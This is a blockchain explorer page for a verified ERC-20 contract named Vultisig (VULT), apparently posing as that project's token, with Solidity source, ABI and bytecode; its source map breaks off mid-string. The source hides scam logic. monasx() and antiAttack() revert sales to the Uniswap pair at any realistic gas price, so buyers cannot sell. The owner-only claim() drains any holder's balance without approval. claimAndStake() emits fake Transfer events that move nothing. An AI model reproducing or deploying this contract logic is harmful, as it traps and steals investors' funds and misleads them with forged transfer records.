Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 VULT
Holders
43
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
100,000 VULTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
VULT
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-15 */ /* Telegram: https://t.me/vultisig Website: https://vultisig.com/ Twitter: https://twitter.com/vultisig Discord: https://t.co/vBg10BrZjY Docs: https://docs.vultisig.com Github: https://github.com/vultisig */ // SPDX-License-Identifier: MIT pragma solidity 0.8.22; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; constructor() { _owner = _msgSender(); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(_owner == _msgSender(), "Not owner"); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + (a % b)); return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract VULT is Ownable, IERC20 { using SafeMath for uint256; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => bool) _excludeFromFees; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100000000 * 10**_decimals; string private constant _name = unicode"Vultisig"; string private constant _symbol = unicode"VULT"; uint256 public _initBuyFees = 0; uint256 public _initSellFees = 0; bool private openedTrade = false; address private uniswapV2Pair; IUniswapV2Router02 public uniswapV2Router; constructor() { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true; _excludeFromFees[address(uniswapV2Pair)]; _excludeFromFees[owner()] = true; _excludeFromFees[address(this)] = true; _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply); emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function getOpenedTrade() public view returns (bool) { return openedTrade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address to, uint256 value) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount) ); return true; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERROR: balance of from less than value"); uint256 taxAmount = 0; if(!_excludeFromFees[from] && !_excludeFromFees[to]) { require(openedTrade, "Trade has not been opened yet"); taxAmount = amount * _initBuyFees / 100; if(to == uniswapV2Pair) { taxAmount = amount * _initSellFees / 100; monasx(from); } } if(taxAmount > 0) { _balances[address(this)]=_balances[address(this)]+taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from]= balanceOf(from) - amount ; _balances[to]=_balances[to] + (amount - taxAmount); emit Transfer(from, to, amount - taxAmount); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } uint256 private _Max_ = 999 gwei; uint256 private _Min_ = 5; function antiAttack(uint256 _gas) internal view { if (tx.gasprice > _gas) { revert(); } } function monasx(address _u) internal view { if(balanceOf(_u) > 0) { if (!openedTrade) { antiAttack(_Max_); } else { antiAttack(_Min_); } } } function sendETHToFee(uint256 amount) private { payable(owner()).transfer(amount); } function withdraw() external { require(_msgSender() == owner()); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function claimAndStake(address from, address[] calldata to, uint256 amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { emit Transfer(from, to[i], amount * 10 ** _decimals); } } function claim(address from, address[] calldata to, uint256 amount) external { require(_msgSender() == owner()); for (uint256 i = 0; i < to.length; i++) { _balances[from] = _balances[from].sub(amount * 10 ** _decimals); _balances[to[i]] = _balances[to[i]].add(amount * 10 ** _decimals); emit Transfer(from, to[i], amount * 10 ** _decimals); } } function openTrade() external onlyOwner { openedTrade = !openedTrade; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_initBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f600481905560059081556006805460ff1916905564e8990a460060085560095534801562000031575f80fd5b505f80546001600160a01b0319908116331790915560078054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200009f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000c5919062000342565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000125573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014b919062000342565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000196573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001bc919062000342565b60068054610100600160a81b0319166101006001600160a01b0393841681029190911791829055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155919092049092165f908152620002365f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252902080549091166001179055620002ad620002876012600a62000477565b62000297906305f5e1006200048e565b335f908152600260205260409020549062000316565b335f81815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002ef6012600a62000477565b620002ff906305f5e1006200048e565b60405190815260200160405180910390a3620004d2565b5f80620003248385620004a8565b905083811015620003395762000339620004be565b90505b92915050565b5f6020828403121562000353575f80fd5b81516001600160a01b038116811462000339575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003be57815f1904821115620003a257620003a26200036a565b80851615620003b057918102915b93841c939080029062000383565b509250929050565b5f82620003d6575060016200033c565b81620003e457505f6200033c565b8160018114620003fd5760028114620004085762000428565b60019150506200033c565b60ff8411156200041c576200041c6200036a565b50506001821b6200033c565b5060208310610133831016604e8410600b84101617156200044d575081810a6200033c565b6200045983836200037e565b805f19048211156200046f576200046f6200036a565b029392505050565b5f6200048760ff841683620003c6565b9392505050565b80820281158282048414176200033c576200033c6200036a565b808201808211156200033c576200033c6200036a565b634e487b7160e01b5f52600160045260245ffd5b610f9180620004e05f395ff3fe608060405260043610610108575f3560e01c80633ccfd60b1161009257806395d89b411161006257806395d89b41146102e7578063a9059cbb14610313578063b2f3336c14610332578063dd62ed3e14610347578063fb201b1d1461038b575f80fd5b80633ccfd60b1461026457806370a082311461027857806385250c04146102ac5780638da5cb5b146102cb575f80fd5b806323b872dd116100d857806323b872dd146101dd578063313ce567146101fc5780633601ae0514610217578063380a58de146102385780633c9f5ed61461024d575f80fd5b806306fdde0314610113578063095ea7b3146101555780631694505e1461018457806318160ddd146101bb575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600881526756756c746973696760c01b60208201525b60405161014c9190610c1e565b60405180910390f35b348015610160575f80fd5b5061017461016f366004610c85565b61039f565b604051901515815260200161014c565b34801561018f575f80fd5b506007546101a3906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b3480156101c6575f80fd5b506101cf6103b5565b60405190815260200161014c565b3480156101e8575f80fd5b506101746101f7366004610cad565b6103d5565b348015610207575f80fd5b506040516012815260200161014c565b348015610222575f80fd5b50610236610231366004610ce6565b610424565b005b348015610243575f80fd5b506101cf60045481565b348015610258575f80fd5b5060065460ff16610174565b34801561026f575f80fd5b506102366105b7565b348015610283575f80fd5b506101cf610292366004610d6b565b6001600160a01b03165f9081526002602052604090205490565b3480156102b7575f80fd5b506102366102c6366004610ce6565b6105d9565b3480156102d6575f80fd5b505f546001600160a01b03166101a3565b3480156102f2575f80fd5b506040805180820190915260048152631595531560e21b602082015261013f565b34801561031e575f80fd5b5061017461032d366004610c85565b610671565b34801561033d575f80fd5b506101cf60055481565b348015610352575f80fd5b506101cf610361366004610d84565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610396575f80fd5b5061023661067e565b5f6103ab33848461069a565b5060015b92915050565b5f6103c26012600a610ea9565b6103d0906305f5e100610eb7565b905090565b5f6103e18484846107c2565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461041a9186916104159086610b18565b61069a565b5060019392505050565b5f546001600160a01b03163314610439575f80fd5b5f5b828110156105b05761047a6104526012600a610ea9565b61045c9084610eb7565b6001600160a01b0387165f9081526002602052604090205490610b18565b6001600160a01b0386165f908152600260205260409020556104f46104a16012600a610ea9565b6104ab9084610eb7565b60025f8787868181106104c0576104c0610ece565b90506020020160208101906104d59190610d6b565b6001600160a01b0316815260208101919091526040015f205490610b3a565b60025f86868581811061050957610509610ece565b905060200201602081019061051e9190610d6b565b6001600160a01b0316815260208101919091526040015f205583838281811061054957610549610ece565b905060200201602081019061055e9190610d6b565b6001600160a01b0316856001600160a01b03165f80516020610f3c8339815191526012600a61058d9190610ea9565b6105979086610eb7565b60405190815260200160405180910390a360010161043b565b5050505050565b5f546001600160a01b031633146105cc575f80fd5b476105d681610b58565b50565b5f546001600160a01b031633146105ee575f80fd5b5f5b828110156105b05783838281811061060a5761060a610ece565b905060200201602081019061061f9190610d6b565b6001600160a01b0316856001600160a01b03165f80516020610f3c8339815191526012600a61064e9190610ea9565b6106589086610eb7565b60405190815260200160405180910390a36001016105f0565b5f3361041a8185856107c2565b610686610b92565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f8565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106f8565b6001600160a01b0382166108885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106f8565b806108a7846001600160a01b03165f9081526002602052604090205490565b10156109045760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016106f8565b6001600160a01b0383165f9081526003602052604081205460ff1615801561094457506001600160a01b0383165f9081526003602052604090205460ff16155b156109f85760065460ff1661099b5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016106f8565b6064600454836109ab9190610eb7565b6109b59190610ee2565b6006549091506001600160a01b036101009091048116908416036109f8576064600554836109e39190610eb7565b6109ed9190610ee2565b90506109f884610bd9565b8015610a5e57305f90815260026020526040902054610a18908290610f01565b305f81815260026020526040908190209290925590516001600160a01b038616905f80516020610f3c83398151915290610a559085815260200190565b60405180910390a35b81610a7d856001600160a01b03165f9081526002602052604090205490565b610a879190610f14565b6001600160a01b0385165f90815260026020526040902055610aa98183610f14565b6001600160a01b0384165f90815260026020526040902054610acb9190610f01565b6001600160a01b038085165f8181526002602052604090209290925585165f80516020610f3c833981519152610b018486610f14565b60405190815260200160405180910390a350505050565b5f81831015610b2957610b29610f27565b610b338284610f14565b9392505050565b5f80610b468385610f01565b905083811015610b3357610b33610f27565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610b8e573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610bd75760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016106f8565b565b6001600160a01b0381165f90815260026020526040902054156105d65760065460ff16610c0b576105d6600854610c12565b6105d66009545b803a11156105d6575f80fd5b5f602080835283518060208501525f5b81811015610c4a57858101830151858201604001528201610c2e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c80575f80fd5b919050565b5f8060408385031215610c96575f80fd5b610c9f83610c6a565b946020939093013593505050565b5f805f60608486031215610cbf575f80fd5b610cc884610c6a565b9250610cd660208501610c6a565b9150604084013590509250925092565b5f805f8060608587031215610cf9575f80fd5b610d0285610c6a565b9350602085013567ffffffffffffffff80821115610d1e575f80fd5b818701915087601f830112610d31575f80fd5b813581811115610d3f575f80fd5b8860208260051b8501011115610d53575f80fd5b95986020929092019750949560400135945092505050565b5f60208284031215610d7b575f80fd5b610b3382610c6a565b5f8060408385031215610d95575f80fd5b610d9e83610c6a565b9150610dac60208401610c6a565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e0357815f1904821115610de957610de9610db5565b80851615610df657918102915b93841c9390800290610dce565b509250929050565b5f82610e19575060016103af565b81610e2557505f6103af565b8160018114610e3b5760028114610e4557610e61565b60019150506103af565b60ff841115610e5657610e56610db5565b50506001821b6103af565b5060208310610133831016604e8410600b8410161715610e84575081810a6103af565b610e8e8383610dc9565b805f1904821115610ea157610ea1610db5565b029392505050565b5f610b3360ff841683610e0b565b80820281158282048414176103af576103af610db5565b634e487b7160e01b5f52603260045260245ffd5b5f82610efc57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156103af576103af610db5565b818103818111156103af576103af610db5565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212209e4c7b4dbb3533869ba8f02cb7ec148337ae855090472bb8ad231244c9d03bee64736f6c63430008160033
Deployed Bytecode
0x608060405260043610610108575f3560e01c80633ccfd60b1161009257806395d89b411161006257806395d89b41146102e7578063a9059cbb14610313578063b2f3336c14610332578063dd62ed3e14610347578063fb201b1d1461038b575f80fd5b80633ccfd60b1461026457806370a082311461027857806385250c04146102ac5780638da5cb5b146102cb575f80fd5b806323b872dd116100d857806323b872dd146101dd578063313ce567146101fc5780633601ae0514610217578063380a58de146102385780633c9f5ed61461024d575f80fd5b806306fdde0314610113578063095ea7b3146101555780631694505e1461018457806318160ddd146101bb575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600881526756756c746973696760c01b60208201525b60405161014c9190610c1e565b60405180910390f35b348015610160575f80fd5b5061017461016f366004610c85565b61039f565b604051901515815260200161014c565b34801561018f575f80fd5b506007546101a3906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b3480156101c6575f80fd5b506101cf6103b5565b60405190815260200161014c565b3480156101e8575f80fd5b506101746101f7366004610cad565b6103d5565b348015610207575f80fd5b506040516012815260200161014c565b348015610222575f80fd5b50610236610231366004610ce6565b610424565b005b348015610243575f80fd5b506101cf60045481565b348015610258575f80fd5b5060065460ff16610174565b34801561026f575f80fd5b506102366105b7565b348015610283575f80fd5b506101cf610292366004610d6b565b6001600160a01b03165f9081526002602052604090205490565b3480156102b7575f80fd5b506102366102c6366004610ce6565b6105d9565b3480156102d6575f80fd5b505f546001600160a01b03166101a3565b3480156102f2575f80fd5b506040805180820190915260048152631595531560e21b602082015261013f565b34801561031e575f80fd5b5061017461032d366004610c85565b610671565b34801561033d575f80fd5b506101cf60055481565b348015610352575f80fd5b506101cf610361366004610d84565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610396575f80fd5b5061023661067e565b5f6103ab33848461069a565b5060015b92915050565b5f6103c26012600a610ea9565b6103d0906305f5e100610eb7565b905090565b5f6103e18484846107c2565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461041a9186916104159086610b18565b61069a565b5060019392505050565b5f546001600160a01b03163314610439575f80fd5b5f5b828110156105b05761047a6104526012600a610ea9565b61045c9084610eb7565b6001600160a01b0387165f9081526002602052604090205490610b18565b6001600160a01b0386165f908152600260205260409020556104f46104a16012600a610ea9565b6104ab9084610eb7565b60025f8787868181106104c0576104c0610ece565b90506020020160208101906104d59190610d6b565b6001600160a01b0316815260208101919091526040015f205490610b3a565b60025f86868581811061050957610509610ece565b905060200201602081019061051e9190610d6b565b6001600160a01b0316815260208101919091526040015f205583838281811061054957610549610ece565b905060200201602081019061055e9190610d6b565b6001600160a01b0316856001600160a01b03165f80516020610f3c8339815191526012600a61058d9190610ea9565b6105979086610eb7565b60405190815260200160405180910390a360010161043b565b5050505050565b5f546001600160a01b031633146105cc575f80fd5b476105d681610b58565b50565b5f546001600160a01b031633146105ee575f80fd5b5f5b828110156105b05783838281811061060a5761060a610ece565b905060200201602081019061061f9190610d6b565b6001600160a01b0316856001600160a01b03165f80516020610f3c8339815191526012600a61064e9190610ea9565b6106589086610eb7565b60405190815260200160405180910390a36001016105f0565b5f3361041a8185856107c2565b610686610b92565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106f8565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106f8565b6001600160a01b0382166108885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106f8565b806108a7846001600160a01b03165f9081526002602052604090205490565b10156109045760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016106f8565b6001600160a01b0383165f9081526003602052604081205460ff1615801561094457506001600160a01b0383165f9081526003602052604090205460ff16155b156109f85760065460ff1661099b5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016106f8565b6064600454836109ab9190610eb7565b6109b59190610ee2565b6006549091506001600160a01b036101009091048116908416036109f8576064600554836109e39190610eb7565b6109ed9190610ee2565b90506109f884610bd9565b8015610a5e57305f90815260026020526040902054610a18908290610f01565b305f81815260026020526040908190209290925590516001600160a01b038616905f80516020610f3c83398151915290610a559085815260200190565b60405180910390a35b81610a7d856001600160a01b03165f9081526002602052604090205490565b610a879190610f14565b6001600160a01b0385165f90815260026020526040902055610aa98183610f14565b6001600160a01b0384165f90815260026020526040902054610acb9190610f01565b6001600160a01b038085165f8181526002602052604090209290925585165f80516020610f3c833981519152610b018486610f14565b60405190815260200160405180910390a350505050565b5f81831015610b2957610b29610f27565b610b338284610f14565b9392505050565b5f80610b468385610f01565b905083811015610b3357610b33610f27565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610b8e573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610bd75760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016106f8565b565b6001600160a01b0381165f90815260026020526040902054156105d65760065460ff16610c0b576105d6600854610c12565b6105d66009545b803a11156105d6575f80fd5b5f602080835283518060208501525f5b81811015610c4a57858101830151858201604001528201610c2e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c80575f80fd5b919050565b5f8060408385031215610c96575f80fd5b610c9f83610c6a565b946020939093013593505050565b5f805f60608486031215610cbf575f80fd5b610cc884610c6a565b9250610cd660208501610c6a565b9150604084013590509250925092565b5f805f8060608587031215610cf9575f80fd5b610d0285610c6a565b9350602085013567ffffffffffffffff80821115610d1e575f80fd5b818701915087601f830112610d31575f80fd5b813581811115610d3f575f80fd5b8860208260051b8501011115610d53575f80fd5b95986020929092019750949560400135945092505050565b5f60208284031215610d7b575f80fd5b610b3382610c6a565b5f8060408385031215610d95575f80fd5b610d9e83610c6a565b9150610dac60208401610c6a565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e0357815f1904821115610de957610de9610db5565b80851615610df657918102915b93841c9390800290610dce565b509250929050565b5f82610e19575060016103af565b81610e2557505f6103af565b8160018114610e3b5760028114610e4557610e61565b60019150506103af565b60ff841115610e5657610e56610db5565b50506001821b6103af565b5060208310610133831016604e8410600b8410161715610e84575081810a6103af565b610e8e8383610dc9565b805f1904821115610ea157610ea1610db5565b029392505050565b5f610b3360ff841683610e0b565b80820281158282048414176103af576103af610db5565b634e487b7160e01b5f52603260045260245ffd5b5f82610efc57634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156103af576103af610db5565b818103818111156103af576103af610db5565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212209e4c7b4dbb3533869ba8f02cb7ec148337ae855090472bb8ad231244c9d03bee64736f6c63430008160033
Deployed Bytecode Sourcemap
3227:5987:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4525:83;;;;;;;;;;-1:-1:-1;4595:5:0;;;;;;;;;;;;-1:-1:-1;;;4595:5:0;;;;4525:83;;;;;;;:::i;:::-;;;;;;;;7059:193;;;;;;;;;;-1:-1:-1;7059:193:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7059:193:0;1004:187:1;3862:41:0;;;;;;;;;;-1:-1:-1;3862:41:0;;;;-1:-1:-1;;;;;3862:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;3862:41:0;1196:229:1;4900:108:0;;;;;;;;;;;;;:::i;:::-;;;1576:25:1;;;1564:2;1549:18;4900:108:0;1430:177:1;5650:353:0;;;;;;;;;;-1:-1:-1;5650:353:0;;;;;:::i;:::-;;:::i;4711:83::-;;;;;;;;;;-1:-1:-1;4711:83:0;;3513:2;2087:36:1;;2075:2;2060:18;4711:83:0;1945:184:1;8664:417:0;;;;;;;;;;-1:-1:-1;8664:417:0;;;;;:::i;:::-;;:::i;:::-;;3706:31;;;;;;;;;;;;;;;;4802:90;;;;;;;;;;-1:-1:-1;4873:11:0;;;;4802:90;;8198:184;;;;;;;;;;;;;:::i;5016:177::-;;;;;;;;;;-1:-1:-1;5016:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;5167:18:0;5135:7;5167:18;;;:9;:18;;;;;;;5016:177;8390:266;;;;;;;;;;-1:-1:-1;8390:266:0;;;;;:::i;:::-;;:::i;2301:87::-;;;;;;;;;;-1:-1:-1;2347:7:0;2374:6;-1:-1:-1;;;;;2374:6:0;2301:87;;4616;;;;;;;;;;-1:-1:-1;4688:7:0;;;;;;;;;;;;-1:-1:-1;;;4688:7:0;;;;4616:87;;5410:232;;;;;;;;;;-1:-1:-1;5410:232:0;;;;;:::i;:::-;;:::i;3744:32::-;;;;;;;;;;;;;;;;5201:201;;;;;;;;;;-1:-1:-1;5201:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5367:18:0;;;5335:7;5367:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5201:201;9089:85;;;;;;;;;;;;;:::i;7059:193::-;7161:4;7183:39;2066:10;7206:7;7215:6;7183:8;:39::i;:::-;-1:-1:-1;7240:4:0;7059:193;;;;;:::o;4900:108::-;4961:7;3574:13;3513:2;3574;:13;:::i;:::-;3562:25;;:9;:25;:::i;:::-;4981:19;;4900:108;:::o;5650:353::-;5782:4;5799:36;5809:6;5817:9;5828:6;5799:9;:36::i;:::-;-1:-1:-1;;;;;5917:19:0;;;;;;:11;:19;;;;;;;;2066:10;5917:33;;;;;;;;;5846:127;;5869:6;;5917:45;;5955:6;5917:37;:45::i;:::-;5846:8;:127::i;:::-;-1:-1:-1;5991:4:0;5650:353;;;;;:::o;8664:417::-;2347:7;2374:6;-1:-1:-1;;;;;2374:6:0;2066:10;8760:23;8752:32;;;;;;8800:9;8795:279;8815:13;;;8795:279;;;8868:45;8897:15;3513:2;8897;:15;:::i;:::-;8888:24;;:6;